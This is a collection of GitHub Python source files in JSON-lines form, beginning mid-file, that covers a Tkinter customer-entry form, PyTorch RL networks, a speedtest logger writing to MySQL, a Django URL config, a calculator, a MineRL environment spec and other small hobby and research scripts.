self.e.insert(0, tup[0])\n        self.t.wait_window()\n        return None\n\n    def Savephone(self, edit, tup):\n        phone = Filter(self.e.get())\n        if self.db.sqldb.getphoneID(phone) is not None:\n            return showinfo('Error', 'Phone Number Is Already Added.', parent=self.t)\n        # phnid = self.db.sqldb.getphoneID(phone)\n        # ctmid = self.ctmid\n        # if phnid is not None and edit == False:\n        #     return showinfo('Type Error', 'Phone Number Is Already Listed', parent=self.t)\n        # if not phone.isdigit():\n        #     return showinfo('Type Error', 'Not a Valid Phone Number', parent=self.t)\n        # if edit:\n        #     pphn = self.db.sqldb.getphoneID(tup[0])\n        #     if pphn is not None:\n        #         self.db.editphone(pphn, phone, ctmid)\n        #     else:\n        #         return showinfo('Type Error', 'Phone Number Already Listed', parent=self.t)\n        # else:\n        #     if ctmid is None:\n        #         return showinfo('Error', 'Add Phone Number After Adding Customer.', parent=self.t)\n        #     self.db.addphone(phone, ctmid)\n        if edit:\n            index = self.mlb2221.Select_index\n            if index is None or index > self.mlb2221.size():\n                return showinfo('Select Error', 'Noting Is Selected', parent=self.master)\n            piid = self.mlb2221.trueparent(self.mlb2221.Select_iid)\n            index = self.mlb2221.index(piid)\n            self.mlb2221.setvalue(index,0,phone)\n        else :\n            self.mlb2221.insert(END, phone)\n        self.t.destroy()\n        return None\n\n    def phonedelete(self):\n        index = self.mlb2221.Select_index\n        if index is None or index > self.mlb2221.size():\n            return showinfo('Select Error', 'Noting Is Selected', parent=self.master)\n        piid = self.mlb2221.trueparent(self.mlb2221.Select_iid)\n        index = self.mlb2221.index(piid)\n        tup = self.mlb2221.get(index)\n        phnid = self.db.sqldb.getphoneID(tup[0])\n        if phnid == None:\n            self.mlb2221.delete(index)\n            return None\n        d = self.db.deletephone(phnid)\n        if d:\n            self.mlb2221.delete(index)\n            return showinfo('Info', 'Phone Number Deleted Successfully', parent=self.master)\n        else:\n            return showinfo('Info', 'Phone Number Cannot Be deleted attached with Customer', parent=self.master)\n        return None\n\n    def notepage1(self, note, modify, tup):\n        app = Frame(note)\n        app.grid(row=0, column=0, sticky=sty)\n        note.add(app, text='Customer')\n        for i in range(20):\n            app.rowconfigure(i, weight=1)\n        for i in range(3):\n            app.columnconfigure(i, weight=1)\n        Label(app, text=\"Customer Detail\", font=('Berlin Sans FB Demi', 21), foreground=\"#3496ff\").grid(row=0, column=0,\n                                                                                                        sticky=sty,\n                                                                                                        columnspan=2,\n                                                                                                        padx=10,\n                                                                                                        pady=10)\n        lbl = Label(app, text='Customer Name  ')\n        lbl.grid(row=1, column=0, sticky=sty, padx=5, pady=5)\n\n        self.entry5 = Entry(app, width=55)\n        self.entry5.grid(row=1, column=1, sticky=sty, padx=5, pady=5)\n        self.entry5.bind('<Any-KeyRelease>', self.update_name)\n\n        lbl3 = Label(app, text=\"Email \")\n        lbl3.grid(row=2, column=0, sticky=sty, padx=5, pady=5)\n        self.entry3 = Entry(app, width=35)\n        self.entry3.grid(row=2, column=1, sticky=sty, padx=5, pady=5)\n\n        lbl1 = Label(app, text=\"Customer Address \", anchor=N)\n        lbl1.grid(row=3, column=0, sticky=sty, padx=5, pady=5)\n        self.text = Text(app, width=26, height=5, wrap=WORD, relief=FLAT)\n        self.text.grid(row=3, column=1, sticky=sty, padx=5, pady=5)\n        self.text.configure(highlightthickness=1, highlightbackground=\"Grey\")\n\n        tmpapp = Frame(app)\n        tmpapp.grid(row=1, column=2, rowspan=4, sticky=sty, padx=0, pady=0)\n        tmpapp.columnconfigure(0, weight=1)\n        tmpapp.rowconfigure(0, weight=5)\n        tmpapp.rowconfigure(1, weight=1)\n\n        self.mlb2221 = MultiListbox(tmpapp, [(\"Phone Number\", 30)], height=5)\n        self.mlb2221.grid(row=0, column=0, sticky=sty, padx=5, pady=5)\n\n        tmpapp = Frame(tmpapp)\n        tmpapp.grid(row=1, column=0, sticky=sty, padx=0, pady=0)\n        tmpapp.rowconfigure(0, weight=1)\n\n        Button(tmpapp, text='Add', command=lambda: self.phoneedit(False)).grid(row=0, column=0, sticky=sty, padx=5,\n                                                                               pady=5)\n        Button(tmpapp, text='Edit', command=lambda: self.phoneedit(True)).grid(row=0, column=1, sticky=sty, padx=5,\n                                                                               pady=5)\n        Button(tmpapp, text='Delete', command=lambda: self.phonedelete()).grid(row=0, column=2, sticky=sty, padx=5,\n                                                                               pady=5)\n\n        tmpapp = Frame(app)\n        tmpapp.grid(row=4, column=1, sticky=sty, padx=0, pady=0)\n        tmpapp.columnconfigure(0, weight=1)\n        tmpapp.columnconfigure(1, weight=1)\n        tmpapp.rowconfigure(0, weight=1)\n\n        btn = Button(tmpapp, text='Save', width=12, command=lambda: self.Save(modify, tup))\n        btn.grid(row=0, column=0, sticky=sty, padx=5, pady=5)\n        copy = Button(tmpapp, text='Save As Copy', width=12, command=lambda: self.Save(False, tup))\n        copy.grid(row=0, column=1, sticky=sty, padx=5, pady=5)\n        if modify == False:\n            copy['state'] = DISABLED\n\n        if modify == True:\n            ctmid = self.tup[0]\n            d = self.db.sqldb.execute(\n                \"\"\" SELECT customer_name,customer_address,customer_email FROM customers WHERE customer_id = \"%s\" \"\"\" % (\n                    ctmid)).fetchone()\n            name = d[0]\n            add = d[1]\n            email = d[2]\n            self.phnrefresh(ctmid)\n            self.entry5.delete(0, END)\n            self.entry5.insert(0, name)\n            self.text.delete(0.0, END)\n            self.text.insert(0.0, add)\n            self.entry3.delete(0, END)\n            self.entry3.insert(0, email)\n\n    def Save(self, modify, tup):\n        \"\"\"\n           tup[0] = id no\n           tup[1] = customer name\n           tup[2] = phn no\n           tup[3] = address\n           tup[4] = email\n        \"\"\"\n\n        name = Filter(self.entry5.get()).title()\n        add = Filter(self.text.get(0.0, END)).title()\n        email = Filter(self.entry3.get()).title()\n        if len(name.split()) == 0:\n            return showinfo(title=\"Error\", message='Customer Name Must Be Specified', parent=self.master)\n        ctmid = None\n        if not modify:\n            ctmid = self.db.addcustomer(name, address=add, email=email)\n        else:\n            ctmid = self.tup[0]\n            ask = askokcancel(\"Key Error\",\n                              \"Are You Sure You Want To Change The Customer Name From %s To %s ?\" % (tup[1], name),\n                              parent=self.master)\n            if not ask:\n                return 1\n            self.db.editcustomer(ctmid, name, add, email)\n        if ctmid is not  None :\n            for i in xrange(self.mlb2221.size()):\n                tup = self.mlb2221.get(i)\n                phnid = self.db.sqldb.getphoneID(tup[0])\n                if phnid is None:\n                    self.db.addphone(tup[0],ctmid)\n        self.master.destroy()\n        return showinfo(\"ADDED\", 'Saved Successfully')\n","repo_name":"SouravDas25/IMS-2.0","sub_path":"Src/NewCustomer.py","file_name":"NewCustomer.py","file_ext":"py","file_size_in_byte":18140,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"60"}
+{"seq_id":"14062121893","text":"import torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nfrom utils.Utils import compute_embedding_dim, get_batch_size\r\n\r\n\r\n# noinspection SpellCheckingInspection\r\n\"Module of  RL Networks  ,  BaseDQN taken from Mnih 2015 \"\r\n\"Written by S.Romero 3/2020\"\r\n\r\n\r\nclass Flatten(nn.Module):\r\n    def forward(self, x):\r\n        return x.view(x.size(0), -1)\r\n\r\n\r\nclass SingleLayer(nn.Module):\r\n    def __init__(self, n_channels_in, n_channels_out, kernel_size=3,  bias=False,\r\n                 batch_norm=False):\r\n        super(SingleLayer, self).__init__()\r\n        self.batch_norm = batch_norm\r\n        self.conv1 = nn.Conv2d(n_channels_in,\r\n                               n_channels_out,\r\n                               kernel_size=kernel_size,\r\n                               padding=1,\r\n                               bias=bias)\r\n        if batch_norm:\r\n            self.bn1 = nn.BatchNorm2d(n_channels_out)\r\n\r\n    def forward(self, x):\r\n        if self.batch_norm:\r\n            out = F.relu(self.bn1(self.conv1(x)))\r\n        else:\r\n            out = F.relu(self.conv1(x))\r\n        return out\r\n\r\n\r\nclass DQNBase(nn.Module):\r\n\r\n    def __init__(self, num_channels, h, w, outputs, batch_norm=False):\r\n\r\n        super(DQNBase, self).__init__()\r\n\r\n        if batch_norm:\r\n            self.net = nn.Sequential(\r\n                nn.Conv2d(num_channels, 16, kernel_size=5, stride=2),\r\n                nn.BatchNorm2d(16),\r\n                nn.ReLU(),\r\n                nn.Conv2d(16, 32, kernel_size=5, stride=2),\r\n                nn.BatchNorm2d(32),\r\n                nn.ReLU(),\r\n                nn.Conv2d(32, 32, kernel_size=5, stride=2),\r\n                nn.BatchNorm2d(32),\r\n                nn.ReLU(),\r\n                Flatten())\r\n        else:\r\n            self.net = nn.Sequential(\r\n                nn.Conv2d(num_channels, 16, kernel_size=5, stride=2),\r\n                nn.ReLU(),\r\n                nn.Conv2d(16, 32, kernel_size=5, stride=2),\r\n                nn.ReLU(),\r\n                nn.Conv2d(32, 32, kernel_size=5, stride=2),\r\n                nn.ReLU(),\r\n                Flatten())\r\n\r\n    def forward(self, states):\r\n        # Sandra 03/28: not to have  head--> this will go to DRDQN\r\n        x = self.net(states)\r\n\r\n        return x\r\n\r\n\r\nclass QRDQN(nn.Module):\r\n\r\n    def __init__(self, num_channels, screen_height, screen_width, n_actions, num_quantiles=200,\r\n                 batch_norm=False):\r\n        super(QRDQN, self).__init__()\r\n\r\n        self.num_quantiles = num_quantiles\r\n        self.num_channels = num_channels\r\n        self.num_actions = n_actions\r\n        self.screen_height = screen_height\r\n        self.screen_width = screen_width\r\n        self.embedding_dim = compute_embedding_dim(screen_height, screen_width)\r\n        self.batch_norm = batch_norm\r\n        # Extractor of DQN\r\n        self.dqn_net = DQNBase(num_channels, screen_height, screen_width, n_actions,\r\n                               batch_norm=batch_norm)\r\n\r\n        # Quantile network\r\n        self.q_net = nn.Sequential(nn.Linear(self.embedding_dim, 512),\r\n                                   nn.ReLU(),\r\n                                   nn.Linear(512, n_actions * num_quantiles))\r\n\r\n    def forward(self, states=None, state_embeddings=None):\r\n        assert states is not None or state_embeddings is not None\r\n        batch_size = get_batch_size(states, state_embeddings)\r\n        if state_embeddings is None:\r\n            state_embeddings = self.dqn_net(states)\r\n        quantiles = self.q_net(state_embeddings).view(batch_size, self.num_quantiles, self.num_actions)\r\n\r\n        assert quantiles.shape == (batch_size, self.num_quantiles, self.num_actions)\r\n\r\n        return quantiles\r\n\r\n    def calculate_q(self, states=None, state_embeddings=None):\r\n        \"\"\"Calculates expected value Q from quantiles\"\"\"\r\n        assert states is not None or state_embeddings is not None\r\n        batch_size = get_batch_size(states, state_embeddings)\r\n        q = self(states=states, state_embeddings=state_embeddings).mean(dim=1)\r\n        assert q.shape == (batch_size, self.num_actions)\r\n\r\n        return q\r\n\r\n\r\nclass CifarNet(nn.Module):\r\n    \"\"\"Basic Cifar net from Pytorch tutorial \"\"\"\r\n\r\n    def __init__(self):\r\n        super(CifarNet, self).__init__()\r\n        self.conv1 = nn.Conv2d(3, 6, 5)\r\n        self.pool = nn.MaxPool2d(2, 2)\r\n        self.conv2 = nn.Conv2d(6, 16, 5)\r\n        self.fc1 = nn.Linear(16 * 5 * 5, 120)\r\n        self.fc2 = nn.Linear(120, 84)\r\n        self.fc3 = nn.Linear(84, 10)\r\n\r\n    def forward(self, x):\r\n        x = self.pool(F.relu(self.conv1(x)))\r\n        x = self.pool(F.relu(self.conv2(x)))\r\n        x = x.view(-1, 16 * 5 * 5)\r\n        x = F.relu(self.fc1(x))\r\n        x = F.relu(self.fc2(x))\r\n        x = self.fc3(x)\r\n        return x\r\n\r\n\r\nclass Cifar10ValueNet(nn.Module):\r\n\r\n    def __init__(self,\r\n                 num_atoms,\r\n                 initializers=None,\r\n                 regularizers=None,\r\n                 partitioners=None,\r\n                 name=\"cifar10_convnet\"):\r\n\r\n        super(Cifar10ValueNet, self).__init__()\r\n\r\n        self.name = name\r\n        self.num_atoms = num_atoms\r\n        self.output_channels = [64, 64, 128, 128, 128, 256, 256, 256, 512, 512, 512]\r\n        self.num_layers = len(self.output_channels)\r\n        self.kernel_shapes = [3] * self.num_layers  # All kernels are 3x3.\r\n        self.strides = [1, 1, 2, 1, 1, 2, 1, 1, 2, 1, 1]\r\n        self.initializers = initializers\r\n        self.regularizers = regularizers\r\n        self.partitioners = partitioners\r\n        self.input_channels = [3]\r\n        for i_out in self.output_channels:\r\n            self.input_channels.append(i_out)\r\n        self.input_channels = self.input_channels[0:len(self.output_channels)]\r\n        self.net = self.make_net()\r\n\r\n    def make_net(self):\r\n        layers = []\r\n        for i in range(self.num_layers):\r\n            # In the bird dog experiment: seems like they only did layers of Conv2d,\r\n            # no batchnorm and no pooling until the end that they take a 'reduction mean' for\r\n            # flattening output\r\n            layers.append(SingleLayer(self.input_channels[i],\r\n                                      self.output_channels[i],\r\n                                      kernel_size=self.kernel_shapes[i],\r\n                                      bias=False, batch_norm=True))\r\n\r\n        return nn.Sequential(*layers)\r\n\r\n    def forward(self, x):\r\n        x = self.net(x)\r\n        # Changed it to have aas dimensions the final dimension\r\n        # the dimension of the final conv net (batch_sizx512)\r\n        flat_output = torch.mean(x, dim=[2, 3])\r\n        # From birddog experiment\r\n        # Equivalent to :  tf.reduce_mean(net, reduction_indices=[1, 2], keepdims=False, name=\"avg_pool\")\r\n        linear = nn.Linear(flat_output.shape[-1], self.num_atoms)\r\n        values = linear(flat_output)\r\n        # Replace classifier output with linear function predicting values\r\n        # torch.nn.Linear(in_features, out_features, bias=True)\r\n        # Equivalent to: check https://sonnet.readthedocs.io/en/latest/api.html#linear-modules\r\n        # values = snt.Linear(self._num_atoms,initializers=self._initializers,regularizers=self._regularizers,\r\n        #   partitioners=self._partitioners)(flat_output)\r\n\r\n        return flat_output, values\r\n\r\n","repo_name":"sandraromerop/Deep-Distributional-RL","sub_path":"deep_rl/Network.py","file_name":"Network.py","file_ext":"py","file_size_in_byte":7300,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"19762818318","text":"#!/usr/bin/env python\r\n# _*_ coding: utf-8 _*_\r\n# 开发团队：云飞国际\r\n# 开发人员： 93792\r\n# 开发时间： 2019/5/26 21:26\r\n# 文件名称： gui_check.py\r\n# 开发工具： PyCharm\r\n\r\nimport wx\r\nclass App(wx.App):\r\n    # 初始化方法\r\n    def OnInit(self):\r\n        frame = wx.Frame(parent=None, title='Hello wxPython', size=(400, 300))\r\n        panel = wx.Panel(frame)\r\n        label = wx.StaticText(panel, label=\"Hello World\", pos=(200, 10))\r\n        frame.Show()\r\n        return True\r\n\r\nif __name__ == \"__main__\":\r\n    app = App()\r\n    app.MainLoop()\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"MikelPan/Devops","sub_path":"python/gui/gui_check.py","file_name":"gui_check.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"15618168372","text":"import os\n\nimport numpy as np\nimport pandas as pd\n\nfrom latex.correlation import base_filename\nfrom latex.correlation import get_preprocess_df as get_preprocess_df_correlation\nfrom latex.correlation_single_adapter import (\n    get_postprocess_df as get_postprocess_df_correlation,\n)\nfrom latex.table_creator import table_creator\nfrom validator_tests.utils import utils\n\n\ndef get_best_validators(args, name, src_threshold):\n    basename = base_filename(name, True, src_threshold)\n    exp_groups = utils.get_exp_groups(args, args.input_folder)\n\n    dfs, output_folder = table_creator(\n        args,\n        args.input_folder,\n        args.output_folder,\n        basename,\n        preprocess_df=get_preprocess_df_correlation(per_adapter=True),\n        postprocess_df=get_postprocess_df_correlation(remove_index_names=False),\n        do_save_to_latex=False,\n        exp_groups=exp_groups,\n    )\n\n    best_validators = {}\n    for adapter, df in dfs.items():\n        best_validators[adapter] = {}\n        for task in df.columns:\n            if task in [\"Mean\", \"Std\"]:\n                continue\n            best_validators[adapter][task] = df.loc[df[task].idxmax()].name\n\n    return best_validators, output_folder\n\n\ndef best_validator_per_adapter_task(args, name, src_threshold):\n    best_validators, output_folder = get_best_validators(args, name, src_threshold)\n\n    df = pd.DataFrame.from_dict(best_validators).transpose()\n\n    for c in df.columns:\n        df[c] = df[c].agg(\" \".join)\n\n    split_columns = np.array_split(df.columns, 5)\n    for i, c in enumerate(split_columns):\n        df[c].style.to_latex(\n            os.path.join(output_folder, f\"best_validator_per_adapter_task_{i}.tex\"),\n            hrules=True,\n            position_float=\"centering\",\n        )\n","repo_name":"KevinMusgrave/powerful-benchmarker","sub_path":"latex/best_validator_per_adapter_task.py","file_name":"best_validator_per_adapter_task.py","file_ext":"py","file_size_in_byte":1764,"program_lang":"python","lang":"en","doc_type":"code","stars":423,"dataset":"github-code","pt":"60"}
+{"seq_id":"15689725070","text":"#!/usr/local/bin/python3\nimport pymysql\nimport sys\nimport urllib.request\nimport json\nimport subprocess\nimport datetime\n\nFAIL_FLAG = False\n\nsqlPswdFile = '/home/dave/keys/sql_pswd.txt'\nSQL_PSWD = open(sqlPswdFile, 'r').readline()[:-1]\ndb = pymysql.connect(host=\"localhost\",\n                     port=3306,\n                     user=\"root\",\n                     passwd=SQL_PSWD,\n                     db=\"network\",\n                     charset='utf8')\ncur = db.cursor()\n\n\ndef cleanup(exit_code=0):\n    db.commit()\n    cur.close()\n    db.close()\n    sys.exit(exit_code)\n\nsql = \"\"\"\n    CREATE TABLE IF NOT EXISTS stats\n    (\n      id                                int unsigned NOT NULL auto_increment,\n      ping                              float(10) NOT NULL,\n      download                          float(10) NOT NULL,\n      upload                            float(10) NOT NULL,\n      bytes_sent                        int NOT NULL,\n      bytes_received                    int NOT NULL,\n      added                             datetime NOT NULL,\n      PRIMARY KEY                       (id)\n    );\n    \"\"\"\ntry:\n    cur.execute(sql)\nexcept pymysql.ProgrammingError as e:\n    db.rollback()\n    print('Got error {!r}, errno is {}'.format(e, e.args[0]))\n\nsql = \"INSERT INTO stats (ping, download, upload, bytes_sent, bytes_received, added) VALUES (%s, %s, %s, %s, %s, %s)\"\ntry:\n    output = subprocess.Popen([\"speedtest-cli\", \"--json\"], stdout = subprocess.PIPE, stderr = subprocess.STDOUT).communicate()[0]\n    data = json.loads(output.decode(\"utf-8\"))\n    print(data) \n    timestamp = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n    args = (\n        data['ping'],\n        data['download'],\n        data['upload'],\n        data['bytes_sent'],\n        data['bytes_received'],\n        timestamp)\n    cur.execute(sql, args)\nexcept pymysql.ProgrammingError as e:\n    db.rollback()\n    print('Got error {!r}, errno is {}'.format(e, e.args[0]))\n    cleanup(1)\ncleanup()\n\n","repo_name":"karamelata/Scripts","sub_path":"Python/netspeed-db.py","file_name":"netspeed-db.py","file_ext":"py","file_size_in_byte":1971,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"37071348848","text":"from django.urls import path\n\nfrom articles.views import home_view, single_view, blog_view\n\nurlpatterns = [\n    path('', home_view),\n    path('index.html/', home_view, name='home'),\n    path('blog-single.html/<slug:slug>', single_view, name='single'),\n    path('blog.html/', blog_view, name='blog'),\n\n]\n","repo_name":"shah1690/READIT-PORTFOLIO","sub_path":"articles/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"74758658432","text":"def add(x, y):\n    return x + y\n\ndef subtract(x, y):\n    return x - y\n\ndef multiply(x, y):\n    return x * y\n\ndef divide(x, y):\n    if y != 0:\n        return x / y\n    else:\n        return \"Cannot divide by zero\"\n\ndef calculator():\n    while True:\n        print(\"\\nCalculator Menu:\")\n        print(\"1. Addition\")\n        print(\"2. Subtraction\")\n        print(\"3. Multiplication\")\n        print(\"4. Division\")\n        print(\"5. Quit\")\n\n        choice = input(\"Enter your choice (1-5): \")\n\n        if choice == '5':\n            break\n\n        if choice in ['1', '2', '3', '4']:\n            try:\n                num1 = float(input(\"Enter first number: \"))\n                num2 = float(input(\"Enter second number: \"))\n            except ValueError:\n                print(\"Invalid input. Please enter numeric values.\")\n                continue\n\n            if choice == '1':\n                result = add(num1, num2)\n                print(f\"Result: {result}\")\n            elif choice == '2':\n                result = subtract(num1, num2)\n                print(f\"Result: {result}\")\n            elif choice == '3':\n                result = multiply(num1, num2)\n                print(f\"Result: {result}\")\n            elif choice == '4':\n                result = divide(num1, num2)\n                print(f\"Result: {result}\")\n        else:\n            print(\"Invalid choice. Please enter a number between 1 and 5.\")\n\nif __name__ == \"__main__\":\n    calculator()\n","repo_name":"syednishatqamar/Calculator-in-Python","sub_path":"calculator.py","file_name":"calculator.py","file_ext":"py","file_size_in_byte":1449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"27167339123","text":"\"\"\"\nPaths to Academia.edu Sections for BeautifulSoup Parsing\n\"\"\"\n\n# Professor/Author Info\nPROF_NAME_PATH = \".InlineList-item\"\nPROF_AFFILIATION_PATH = \".Affiliation-text--affiliation\"\nPROF_RESEARCH_INTERESTS_PATH = \".Affiliation-text--researchInterests\"\nPROF_PORTRAIT_PATH = \".profile-avatar\"\nPROF_BIO_PATH = \".js-profile-about\"\n\n# Works Info\nTITLES_PATH = \".js-work-strip-work-link.text-gray-darker\"\nWORKS_PATH = \".media-body\"\nTOP_LEVEL_WORKS_PATH =\".media.work.js-work-strip\"\nDOWNLOAD_URL_PATH = \".work-download\"\n\nABSTRACT_TRUNCATED_PATH = \".js-work-more-abstract-truncated\" #currently unused\nABSTRACT_UNTRUNCATED_PATH = \".js-work-more-abstract-untruncated\"","repo_name":"zcaceres/Academia.edu-Web-Scraper-and-CV-Gen","sub_path":"academiaeduscraper/academiaeduscraper/services/utility/parse_paths.py","file_name":"parse_paths.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"18282441379","text":"import numpy as np\nimport csv\nfrom PIL import Image\n#from time import sleep\nimport os\n# import pdb\n\nnewpath = '/home/shreyak/flaskProject/Digit_Recogniser'\n# Decoding the pixels given in the train.csv file to images\n# and saving them in their respective folders according to their labels\ni = 0\nwith open('Data/train.csv') as file:\n\tread = csv.reader(file)\n\thead = next(read)\n\tfor row in read:\n\t\t\n\t\t\tlabel = np.int32(row[0])\n\t\t\tprint(\"LABEL\", label, sep=\"\\n\")\n\t\t\td = np.array(row[1:], dtype=np.uint8).reshape(28, 28)\t\n\t\t\td_img = Image.fromarray(d, 'P')\n\t\t\t\n\t\t\t# done for the first 50 images in the file\n\t\t\tif i == 10:\n\t\t\t\tbreak\n\n\t\t\tprint(\"I:\", i)\n\t\t\timg_name = 'zen_'+str(i)+'.png'\n\n\t\t\t# Making a new directory if it does not exists else saving the image on the pre-created directory\n\t\t\tif not os.path.exists(os.path.join(newpath, str(label))):\n\t\t\t\tos.makedirs(os.path.join(newpath, str(label)))\n\t\t\t\t\n\t\t\tprint(\"SAVING THE DECODED IMAGE\")\n\t\t\td_img.save(os.path.join(os.path.join(newpath, str(label)), img_name))\n\t\t\tprint(\"IMAGE SAVED SUCCESSFULLY\")\n\t\t\ti += 1\n\t\t\t","repo_name":"shreyak1911/Digit_Recognizer","sub_path":"train_dec.py","file_name":"train_dec.py","file_ext":"py","file_size_in_byte":1060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"29434863796","text":"from typing import List\nimport random\nfrom minerl.herobraine.env_specs.simple_embodiment import SIMPLE_KEYBOARD_ACTION, SimpleEmbodimentEnvSpec\nfrom minerl.herobraine.hero.handler import Handler\nimport minerl.herobraine.hero.handlers as handlers\nfrom minerl.herobraine.hero.mc import INVERSE_KEYMAP\n\n\nSIMPLE_KEYBOARD_ACTIONS = [\n    'forward',\n    'jump'\n]\n\nWORLD_GENERATOR_OPTIONS = '''{\n    \"coordinateScale\": 684.412,\n    \"heightScale\": 684.412,\n    \"lowerLimitScale\": 512.0,\n    \"upperLimitScale\": 512.0,\n    \"depthNoiseScaleX\": 200.0,\n    \"depthNoiseScaleZ\": 200.0,\n    \"depthNoiseScaleExponent\": 0.5,\n    \"mainNoiseScaleX\": 80.0,\n    \"mainNoiseScaleY\": 160.0,\n    \"mainNoiseScaleZ\": 80.0,\n    \"baseSize\": 8.5,\n    \"stretchY\": 12.0,\n    \"biomeDepthWeight\": 1.0,\n    \"biomeDepthOffset\": 0.0,\n    \"biomeScaleWeight\": 1.0,\n    \"biomeScaleOffset\": 0.0,\n    \"seaLevel\": 1,\n    \"useCaves\": true,\n    \"useDungeons\": false,\n    \"dungeonChance\": 8,\n    \"useStrongholds\": false,\n    \"useVillages\": false,\n    \"useMineShafts\": false,\n    \"useTemples\": false,\n    \"useMonuments\": false,\n    \"useMansions\": false,\n    \"useRavines\": false,\n    \"useWaterLakes\": false,\n    \"waterLakeChance\": 4,\n    \"useLavaLakes\": false,\n    \"lavaLakeChance\": 80,\n    \"useLavaOceans\": false,\n    \"fixedBiome\": %d,\n    \"biomeSize\": 8,\n    \"riverSize\": 1,\n    \"dirtSize\": 33,\n    \"dirtCount\": 10,\n    \"dirtMinHeight\": 0,\n    \"dirtMaxHeight\": 256,\n    \"gravelSize\": 33,\n    \"gravelCount\": 8,\n    \"gravelMinHeight\": 0,\n    \"gravelMaxHeight\": 256,\n    \"graniteSize\": 33,\n    \"graniteCount\": 10,\n    \"graniteMinHeight\": 0,\n    \"graniteMaxHeight\": 80,\n    \"dioriteSize\": 33,\n    \"dioriteCount\": 10,\n    \"dioriteMinHeight\": 0,\n    \"dioriteMaxHeight\": 80,\n    \"andesiteSize\": 33,\n    \"andesiteCount\": 10,\n    \"andesiteMinHeight\": 0,\n    \"andesiteMaxHeight\": 80,\n    \"coalSize\": 17,\n    \"coalCount\": 20,\n    \"coalMinHeight\": 0,\n    \"coalMaxHeight\": 128,\n    \"ironSize\": 9,\n    \"ironCount\": 20,\n    \"ironMinHeight\": 0,\n    \"ironMaxHeight\": 64,\n    \"goldSize\": 9,\n    \"goldCount\": 2,\n    \"goldMinHeight\": 0,\n    \"goldMaxHeight\": 32,\n    \"redstoneSize\": 8,\n    \"redstoneCount\": 8,\n    \"redstoneMinHeight\": 0,\n    \"redstoneMaxHeight\": 16,\n    \"diamondSize\": 8,\n    \"diamondCount\": 1,\n    \"diamondMinHeight\": 0,\n    \"diamondMaxHeight\": 16,\n    \"lapisSize\": 7,\n    \"lapisCount\": 1,\n    \"lapisCenterHeight\": 16,\n    \"lapisSpread\": 16\n}'''\n\n\nclass SimpleExplore(SimpleEmbodimentEnvSpec):\n    def __init__(self, *args, biomes=None, **kwargs):\n        if 'name' not in kwargs:\n            kwargs['name'] = 'SimpleExplore-v0'\n        self.biomes = biomes\n        super().__init__(*args, **kwargs)\n\n    def create_observables(self) -> List[handlers.translation.TranslationHandler]:\n        return [\n            handlers.POVObservation(self.resolution),\n        ]\n\n    def create_rewardables(self) -> List[Handler]:\n        return []\n\n    def create_agent_start(self) -> List[Handler]:\n        return []\n\n    def create_agent_handlers(self) -> List[Handler]:\n        return []\n\n    def create_server_world_generators(self) -> List[Handler]:\n        if self.biomes is not None:\n            biome = random.choice(self.biomes)\n            return [\n                handlers.DefaultWorldGenerator(force_reset=\"true\",\n                                                generator_options=WORLD_GENERATOR_OPTIONS % biome)\n            ]\n        else:\n            return [\n                handlers.DefaultWorldGenerator(force_reset=True)\n            ]\n\n\n    def create_actionables(self) -> List[Handler]:\n        return [\n            handlers.KeybasedCommandAction(k, v) for k, v in INVERSE_KEYMAP.items()\n            if k in SIMPLE_KEYBOARD_ACTION\n        ] + [handlers.CameraAction()]\n\n    def create_server_quit_producers(self) -> List[Handler]:\n        return []\n\n    def create_server_decorators(self) -> List[Handler]:\n        return []\n\n    def create_server_initial_conditions(self) -> List[Handler]:\n        return [\n            handlers.TimeInitialCondition(\n                allow_passage_of_time=False\n            ),\n            handlers.SpawningInitialCondition(\n                allow_spawning=True\n            )\n        ]\n\n    def determine_success_from_rewards(self, rewards: list) -> bool:\n        return False\n\n    def is_from_folder(self, folder: str) -> bool:\n        return False\n\n    def get_docstring(self):\n        return \"\"\"\"\"\"\n","repo_name":"wilson1yan/collect-minecraft","sub_path":"env.py","file_name":"env.py","file_ext":"py","file_size_in_byte":4389,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"30533758454","text":"#N = int(input(\"Введите количество пар слов: \"))\ndict_syn = {'1 пара': 'Привет - Здравствуйте',\n            '2 пара': 'Печально - Грустно',\n            '3 пара': 'Весело - Радостно',\n            '4 пара': 'Дом - Здание',\n            '5 пара': 'Телефон - Мобильник',\n            '6 пара': 'Папка - Каталог'}\n\ndef parse(dict):\n    values = [val.split(' - ') for val in dict.values()]\n    return values\n\nwhile (True):\n    lst, torememb = [], []\n    word = input('Введите слово: ')\n    for el in parse(dict_syn):\n        lst = [el[len(el) - el.index(word) - 1] for el2 in el if word in el2]\n        if lst:\n            torememb = lst\n    print('Синоним:', *torememb) if torememb else print('Такого слова в словаре нет.')","repo_name":"Alpgirl/FunnyPython-by-Inna","sub_path":"HW-12/6-dict-syn.py","file_name":"6-dict-syn.py","file_ext":"py","file_size_in_byte":889,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
